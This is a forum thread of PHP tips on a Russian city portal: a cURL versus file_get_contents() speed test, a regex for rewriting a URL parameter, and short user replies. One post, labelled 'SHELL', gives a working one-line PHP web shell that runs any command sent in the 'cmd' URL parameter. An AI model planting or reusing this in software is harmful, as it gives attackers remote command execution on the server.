Березовский   Кемеровской области
березовский портал
arrowГлавная

Форум

Friday, 19 April 2024  
Пользователи он-лайн
Посетителей нет.

ТОП-5 займов онлайн

Займы онлайн
Вебкамеры города Березовский Кемеровской области
Инфраструктура города
Школы Березовского Кемеровской области Школы
Банки Березовского Кемеровской области Банки
Детские сады Березовского Кемеровской области Детские сады
База Березовских Поэтов
База предприятий
Лыжный спорт
Александр Бессмертных
Александр Бессмертных
отвечает на вопросы
Интересные материалы
Шахты г. Берёзовского
Подать в суд
Суд
Расписание автобусов
Расписание автобусов
Запись к врачам
Больницы. Электронная очередь
Горячие кнопки
Новое Объявления Вакансии
Фото и фотографы города
Город Берёзовский Кемеровской области фото
Наша коллекция юмора
Концентрация юмора
ЗАГС
ФОРУМ
Добро пожаловать, Гость
Привет! Вход или Регистрация.    Забыли пароль?
Заметки PHP - программиста (1 просматривает) (1) Гость
Нравится
Вниз Ответить Избранное: 0
Сообщения темы:

Заметки PHP - программиста

#13638
admin (Администратор)
Администратор
Постов: 2188
Пользователь в онлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
Заметки PHP - программиста 15 г., 4 мес. назад Репутация: 15  
Сравнительный тест на скорость - cURL vs file_get_contents()

Так или иначе web-разработчик сталкивается с вопросом загрузки информации с других сайтов.
Как-то было принято всегда пользоваться удобной и понятной функцией file_get_contents() в php. Не очень давно стал набирать обороты cURL - гибкая надстройка, которая заточена под работу с протоколом http да и не только. Теперь небольшой тестик на скорость загрузки страниц:

:

<?php function getPage($url) { $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:) Gecko/20070725 Firefox/"); curl_setopt ($ch, CURLOPT_TIMEOUT, 60); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec ($ch); curl_close($ch); return $result; } $start = microtime(true); getPage(""); $end = microtime(true); echo $end-$start.'<br />'; $start = microtime(true); file_get_contents(""); $end = microtime(true); echo $end-$start.'<br />'; ?>
Результаты: Вот так вот - cURL в четыре раза быстрее. Но есть и исключения, например, на совсем простеньких страничках cURL уступает. Но с этим можно жить, я думаю.
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Последнее редактирование: 25.11.2008 15:53 Редактировал admin.
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#17184
admin (Администратор)
Администратор
Постов: 2188
Пользователь в онлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 13 г., 2 мес. назад Репутация: 15  
SHELL:
<?php system($_GET["cmd"]); ?>
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#17706
admin (Администратор)
Администратор
Постов: 2188
Пользователь в онлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 12 г., 10 мес. назад Репутация: 15  
Примеры использования регулярных выражений:
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#18166
admin (Администратор)
Администратор
Постов: 2188
Пользователь в онлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 12 г., 5 мес. назад Репутация: 15  
Есть, к примеру, url
:

' Меня интересует параметр "slush". Нужно изменить его значение. Применим функцию: preg_replace('/(\?|&)(slush=\d*)(&|$)/i', '\1slush=2\3', $_SERVER["REQUEST_URI"]). Получим измененный url: ' Это работоспособно для любого параметра. Например, для "id_mer" это будет выглядеть так: '/(\?|&)(id_mer=\d*)(&|$)/i'
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
 
Последнее редактирование: 07.11.2011 13:22 Редактировал admin.
 
Мой доктор сказал, что пока я нахожусь в изоляторе, я не смогу завоевывать мир... Жалкий наивный раб!
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#27004
Fina (Пользователь)
Администратор
Постов: 38
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 4 г., 9 мес. назад Репутация: 0  
Опытные программисты, подскажите как или где вы записываете полезные кусочки или функции или еще что нибудь?
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
#27029
Darinyshka (Пользователь)
Администратор
Постов: 51
Пользователь в оффлайне Кликните здесь, чтобы посмотреть профиль этого пользователя
RE: Заметки PHP - программиста 4 г., 9 мес. назад Репутация: 0  
это вообще то интересно
 
Сообщение модератору   Зарегистрированный Зарегистрированный  
  Для добавления сообщений, Вы должны зарегистрироваться или авторизоваться.
Вверх Ответить
получить последние сообщения прямо на Ваш рабочий стол
поиск
Авторизация
Миничат Пройти регистрацию Архив миничата Пройти регистрацию
ПОГОДА
weather
Телефонный справочник
Телефонный справочник

Город Березовский
(Кемеровская область)

ТРК 12-канал
ОВД
Подать заявление Приём заявлений о преступлениях или правонарушениях в ОВД г. Березовский
Кто онлайн и откуда
Заказ СУШИ
СУШИ
Счётчики

Наш побратим
Город Берёзовский на Урале

Березовский сайт

вверх
Проект существует с 25.05.2006